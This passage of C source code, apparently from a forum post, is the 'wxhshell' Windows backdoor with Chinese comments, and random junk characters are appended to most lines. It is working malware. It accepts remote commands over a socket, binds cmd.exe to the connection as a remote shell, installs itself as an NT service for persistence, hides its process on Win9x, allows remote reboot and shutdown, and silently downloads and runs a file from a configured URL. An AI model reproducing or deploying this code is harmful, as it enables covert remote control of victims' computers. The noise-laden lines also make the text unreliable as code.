xa%ktn  
    switch(cmd[0]) { 88+\mX;A#  
  4- ?`#  
  // 帮助 ;^H+ |&$>  
  case '?': { a?Qcf;o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O ]4 x;`)  
    break; Stp*JU  
  } { P\8g8  
  // 安装 >i#_)th"U!  
  case 'i': { '%|20 j  
    if(Install()) KohQ6q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5yN8%_)T  
    else eABdy e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  6O|\4c;  
    break; ur"e F  
    } $d"f/bRWy  
  // 卸载 1 069]  
  case 'r': { 4Xb}I;rM  
    if(Uninstall()) i6\!7D]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gm%bxr@X~  
    else 3lrZ-k+S{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >|o9ggL`J5  
    break; & b^*N5<Z  
    } B,na  
  // 显示 wxhshell 所在路径 PTc\I  
  case 'p': { G<WDyoN=O  
    char svExeFile[MAX_PATH]; =D"63fP1  
    strcpy(svExeFile,"\n\r"); )V =K#MCK  
      strcat(svExeFile,ExeFile); m^u&g&^  
        send(wsh,svExeFile,strlen(svExeFile),0); ~9ls~$+*  
    break; F8r455_W"  
    } ?0)XS<  
  // 重启 *t-A6)2  
  case 'b': { +>9^])K|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OD!CnK  
    if(Boot(REBOOT)) ug3lMN4UX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hn'2'Vu  
    else { t-gNG!B  
    closesocket(wsh); hq[ gj?P  
    ExitThread(0); Y`_X@Q  
    } GWE0 UO}  
    break; R (Pa Q  
    } ^HN  
  // 关机 [ BC%$Sj  
  case 'd': { ii] =C(e9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~^ 5n$jq  
    if(Boot(SHUTDOWN)) 9QQ@Y}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CR PE?CRQF  
    else { 1^"aR#  
    closesocket(wsh); IqJ=\  
    ExitThread(0); $izpH  
    } H?bs K~  
    break; e8uIh[+ 0  
    } 'pls]I]  
  // 获取shell Y\9*e5?`I3  
  case 's': { U:p"IY#%  
    CmdShell(wsh); F0^~YYRJV  
    closesocket(wsh); 6XCX#4'i%  
    ExitThread(0); Bst>9V&R  
    break; 7a_n\]t465  
  } d"`>&8*  
  // 退出 +6Fdi*:  
  case 'x': { &)}:Y!qiu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >xMhA`l  
    CloseIt(wsh); t }C ^E  
    break; >(4S `}K  
    } r@ *A   
  // 离开 92ww[+RQ@  
  case 'q': { 1?$!y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2_~XjwKE  
    closesocket(wsh); Pi sr&"A  
    WSACleanup(); W%ZU& YBc  
    exit(1); l*MUDT@M8\  
    break; v?=VZ~`O(  
        } P\0%nyOG(%  
  } }Fe{s;  
  } _<}5[(qu  
&>B>+}'  
  // 提示信息 )$N{(Cke2T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =WRU<`\  
} U$J_:~  
  } { RX|  
L*oL KigT  
  return; I{ZPv"9j^  
} Zd/~ *ZA  
&Zy=vk*  
// shell模块句柄 ;4#8#;  
int CmdShell(SOCKET sock) k3h53QTmC  
{ &{{f|o=u.  
STARTUPINFO si; eZkz 1j~  
ZeroMemory(&si,sizeof(si)); TUYl><F5v=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i4C b&h^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QjbPBk Q  
PROCESS_INFORMATION ProcessInfo; BCB/cBE  
char cmdline[]="cmd"; <a}|G1 h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `mTxtuid{  
  return 0; `l#$l3v+  
} QHz76i!=>  
p<['FRf"  
// 自身启动模式 !+ hgKZ]  
int StartFromService(void) vXZz=E AH  
{ Z"KuS  
typedef struct MpvA--  
{ U4pvQE.m<  
  DWORD ExitStatus; < l ^ Z;.  
  DWORD PebBaseAddress; lq9h Dn[p  
  DWORD AffinityMask; }H^^v[4  
  DWORD BasePriority; ^K[tO54  
  ULONG UniqueProcessId; q)i(wEdUZ  
  ULONG InheritedFromUniqueProcessId; `g1~ya(MC  
}   PROCESS_BASIC_INFORMATION; >~InO^R`5  
f TtMmz  
PROCNTQSIP NtQueryInformationProcess; p{PYUW"?^  
k~F/Ho+R&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vs(Zs[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; na; ^/_U@  
aJ@qB9(ZBe  
  HANDLE             hProcess; ]}c=U@D,9  
  PROCESS_BASIC_INFORMATION pbi; $X]v;B)J|  
z:7F5!Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +'4dP#  
  if(NULL == hInst ) return 0; Db:WAjU  
dPX>A4wp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Pbn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "7/YhLq7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U2u>A r  
oABPGyv  
  if (!NtQueryInformationProcess) return 0; |mA*[?ye@  
bJ}+<##  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h /Nt92  
  if(!hProcess) return 0; q0<`XDD`  
Ww4G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O, 6!`\ND  
OaWq8MIZ-  
  CloseHandle(hProcess); KrzM]x  
)j*qGsOg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :UciFIa  
if(hProcess==NULL) return 0; ["/x~\c'N  
U\6DEnII?!  
HMODULE hMod; "G(/MT^C  
char procName[255]; =LzW#s=O  
unsigned long cbNeeded; 06;{2&ju<  
31Du@h8YX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ajr8tp'  
4!|ar?Zy  
  CloseHandle(hProcess); @SXgaWr  
g H.^NO5\'  
if(strstr(procName,"services")) return 1; // 以服务启动 rP_)*)  
J6P Tkm}^  
  return 0; // 注册表启动 q;JQs:U!  
} ;hDr+&J|  
HPB1d!^  
// 主模块 + k:?;ZG  
int StartWxhshell(LPSTR lpCmdLine) ?Fv(4g  
{ Lo4t:H&  
  SOCKET wsl; ks4 ,2f,2  
BOOL val=TRUE; n4,J#h/  
  int port=0; %9M49 s  
  struct sockaddr_in door; #Xly5J  
iDJ2dM}v  
  if(wscfg.ws_autoins) Install(); u> Hx#R<*%  
{D< ?.'  
port=atoi(lpCmdLine); wl9icrR>  
" Xc=<rX  
if(port<=0) port=wscfg.ws_port; Bw[VK7  
r>o6}Mx$  
  WSADATA data; Vo[4\h#$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y 6< tV.  
9m4|1)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #u^d3 $Nj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 39#>C~BOl  
  door.sin_family = AF_INET; _L>n!"E/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o~p^`5#  
  door.sin_port = htons(port); (ShJ!  
4LLCb7/5lP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pDQ,v"  
closesocket(wsl); ^<-SW]x  
return 1; &baY[[N  
} 6W Zp&pO  
<D}k@M Z  
  if(listen(wsl,2) == INVALID_SOCKET) { ww,'n{_  
closesocket(wsl); Ns(F%zkm  
return 1; "H8N,eb2  
} J .d<5`7   
  Wxhshell(wsl); {rQ`#?J}^?  
  WSACleanup(); ML-g"wv  
TuL( /  
return 0; W#7c`nm  
`N+ P ,  
} TzJN,]F!M  
mMH0 o  
// 以NT服务方式启动 ]LjW,b"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Re_.<_$  
{ t|%ul6{gz  
DWORD   status = 0; PH.v3 3K  
  DWORD   specificError = 0xfffffff; he@swE&  
3V]a "C   
  serviceStatus.dwServiceType     = SERVICE_WIN32; gqd#rjtfz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vSh)r 9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ::6@mFLR  
  serviceStatus.dwWin32ExitCode     = 0; NG ~sE&,7  
  serviceStatus.dwServiceSpecificExitCode = 0; XOMWqQr|  
  serviceStatus.dwCheckPoint       = 0; lx SGvvP4  
  serviceStatus.dwWaitHint       = 0; cqDnZ`|6  
G(i/ @>l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wB@A?&UY  
  if (hServiceStatusHandle==0) return; ,O(uuq  
Yhfk{CI  
status = GetLastError(); t"Rn#V\c."  
  if (status!=NO_ERROR) (#~063N,#  
{ +}]xuYzo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FsjblB3?E  
    serviceStatus.dwCheckPoint       = 0; [/FIY!nC?  
    serviceStatus.dwWaitHint       = 0; 8}2 `^<U  
    serviceStatus.dwWin32ExitCode     = status; * -)aGL  
    serviceStatus.dwServiceSpecificExitCode = specificError; oID, PB*9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &LE/hA  
    return; wbTw\b=  
  } H|]Q;,C  
>K3Lww)Ln  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?]S*=6  
  serviceStatus.dwCheckPoint       = 0; 'tekne  
  serviceStatus.dwWaitHint       = 0; 8I%1 `V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ynhH5P|6,  
} 5n<Efi]j  
t+t&eg  
// 处理NT服务事件,比如:启动、停止 [||$1u\%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) raCxHY  
{ B^Vb=* QRo  
switch(fdwControl) y7JJ[:~~  
{ SyI#Q[f'_  
case SERVICE_CONTROL_STOP: \O56!,k  
  serviceStatus.dwWin32ExitCode = 0; 9496ayi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eG.?s ;J0  
  serviceStatus.dwCheckPoint   = 0; pV_2JXM~@  
  serviceStatus.dwWaitHint     = 0; *5^h>Vk/  
  { :0/I2:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #H|]F86(  
  } o&zeOJW  
  return; #~"jo[  
case SERVICE_CONTROL_PAUSE: iVE+c"c!2&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kAMt8  
  break; czafBO6  
case SERVICE_CONTROL_CONTINUE: 0oD?4gn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D?$f[+  
  break; @>?&Mw\c  
case SERVICE_CONTROL_INTERROGATE: Xh5 z8  
  break; &W1c#]q@r  
}; P6 9S[aqW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7+fFKZFKF  
} i9Qx{f88  
W1 E(( 2  
// 标准应用程序主函数 AyddkjX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :%R3( &  
{ D9h\=[%e  
Hly$ Wm  
// 获取操作系统版本 Tw$lakw  
OsIsNt=GetOsVer(); m6s32??m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uv,t(a.^  
_|3n h;-m  
  // 从命令行安装 N G4wtDa  
  if(strpbrk(lpCmdLine,"iI")) Install(); w1[F]|  
Jf 2  
  // 下载执行文件 6 LC*X  
if(wscfg.ws_downexe) { F[LBQI`zq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RX '( l  
  WinExec(wscfg.ws_filenam,SW_HIDE); HA| YLj?|g  
} y 2bZo'Z  
YDP<  
if(!OsIsNt) { D+tn<\LF  
// 如果时win9x,隐藏进程并且设置为注册表启动 6:Ra3!V"v  
HideProc(); Ef69]{E  
StartWxhshell(lpCmdLine); ) b?HK SqI  
} (V*ggii@  
else M^a QH/=:"  
  if(StartFromService()) Gt'%:9r  
  // 以服务方式启动 {A{=RPL  
  StartServiceCtrlDispatcher(DispatchTable); :*1bhk8~  
else fn)c&|aCt  
  // 普通方式启动 mjf U[2  
  StartWxhshell(lpCmdLine); MbYAK-l.h  
6#v"+V  
return 0; ZhW>H  
}
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只看该作者 1 发表于: 2006-10-10
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